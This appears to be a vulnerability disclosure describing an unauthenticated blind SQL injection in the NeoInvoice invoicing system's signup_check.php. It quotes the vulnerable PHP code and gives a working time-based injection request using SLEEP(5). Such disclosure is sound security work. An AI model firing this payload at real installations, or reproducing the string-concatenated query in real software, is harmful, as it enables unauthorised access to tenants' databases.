NeoInvoice is a multi-tenant open source invoicing system, that currently contains an unauthenticated blind SQL injection condition in signup_check.php
. The input for the value
field isn’t being properly sanitized, and is used in string concatenation to create the SQL query:
require_once("config.php");
if (isset($_GET['field']) && ($_GET['field'] == 'username' || $_GET['field'] == 'email')) {
$field = $_GET['field'];
$table = 'user';
$taken = '0';
$not_taken = '1';
} else if (isset($_GET['field']) && $_GET['field'] == 'coupon') {
$field = 'name';
$table = 'coupon';
$taken = '1';
$not_taken = '0';
} else {
die("<div class=\"error\">Invalid Field</div>");
}
if (!isset($_GET['value'])) {
die("<div class=\"error\">Invalid Value</div>");
}
$value = preg_replace("[^a-zA-Z0-9_.\-\*\/\+\, @]", "", $_GET['value']);
if ($value != $_GET['value']) {
die("<div class=\"error\">Invalid Value</div>");
}
$connect = mysql_connect(MYSQL_HOSTNAME, MYSQL_USERNAME, MYSQL_PASSWORD);
if (!$connect) {
die("<div class=\"error\">" . mysql_error() . "</div>");
}
$query = "SELECT $field FROM $table WHERE $field = '$value' LIMIT 1";
mysql_select_db(MYSQL_DATABASE, $connect);
$result = mysql_query($query, $connect);
if (mysql_num_rows($result)) {
echo $taken;
} else {
echo $not_taken;
}
Line #29 there is the key, by concatenating untrusted data into the SQL query, it has made SQL injection trivial. This vulnerability can be demonstrated with the following request:
signup_check.php?field=username&value='+OR+SLEEP(5)+OR+'
This results in the following query being executed:
SELECT username FROM user WHERE username = '' OR SLEEP(5) OR '' LIMIT 1
The author has been notified, but has yet to respond. Based on the one open ticket for the project, there’s likely other possible attack vectors.